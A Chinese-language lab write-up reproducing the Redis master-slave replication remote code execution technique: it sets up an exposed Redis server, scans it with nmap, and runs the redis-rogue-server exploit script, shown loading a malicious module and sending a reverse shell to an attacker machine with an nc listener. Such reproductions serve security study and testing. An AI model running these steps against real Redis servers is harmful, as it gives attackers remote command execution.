漏洞描述
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大。
影响版本
环境搭建
doker搭建
1 2 3
| # 环境 攻击机:kali 受害机:centos-docker
|
1 2 3
| # 搭建 docker pull damonevking/redis5.0 docker run -p 6379:6379 -d damonevking/redis5.0 redis-server
|
Linux搭建
1 2 3 4
| # 环境 攻击机:kali 受害机:centos 7 下载地址:http://download.redis.io/releases/redis-4.0.11.tar.gz
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| wget http://download.redis.io/releases/redis-4.0.11.tar.gz tar -zvxf redis-4.0.11.tar.gz cd redis-4.0.11 make
vi redis.conf
bind 0.0.0.0
protected-mode no
./src/redis-server redis.conf
|

windows搭建
1 2 3 4 5
| # 环境 攻击机:kali 受害机:windwos 7 windows下载地址: https://github.com/microsoftarchive/redis/releases
|
下载Redis-x64-3.2.100.zip,并解压到本地目录下。
1 2 3
| 修改配置文件redis.windows.conf ,开启远程访问,关闭保护模式。 修改bind 127.0.0.1为bind 0.0.0.0 修改protected-mode yes为protected-mode no
|

启动redis服务:
1
| redis-server.exe redis.windows.conf
|
漏洞复现
扫描漏洞端口
1 2 3 4 5 6 7 8 9 10
| root@kali:~ Starting Nmap 7.80 ( https://nmap.org ) at 2021-07-12 21:34 EDT Nmap scan report for 192.168.40.131 Host is up (0.00023s latency).
PORT STATE SERVICE 6379/tcp open redis MAC Address: 00:0C:29:10:79:D9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds
|
利用攻击脚本:n0b0dyCN/redis-rogue-server
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| root@kali:/opt/tools/Redis/redis-rogue-server-master# python3 redis-rogue-server.py --rhost 192.168.40.131 --lhost 192.168.40.132 --exp=exp.so ______ _ _ ______ _____ | ___ \ | (_) | ___ \ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| __/ | |___/ @copyright n0b0dy @ r3kapig
[info] TARGET 192.168.40.131:6379 [info] SERVER 192.168.40.132:21000 [info] Setting master... [info] Setting dbfilename... [info] Loading module... [info] Temerory cleaning up... What do u want, [i]nteractive shell or [r]everse shell: r #输入i是直接获取交互式shell [info] Open reverse shell... Reverse server address: 192.168.40.132 Reverse server port: 2333 [info] Reverse shell payload sent. [info] Check at 192.168.40.132:2333 [info] Unload module...
root@kali:~# nc -lvvp 2333
|

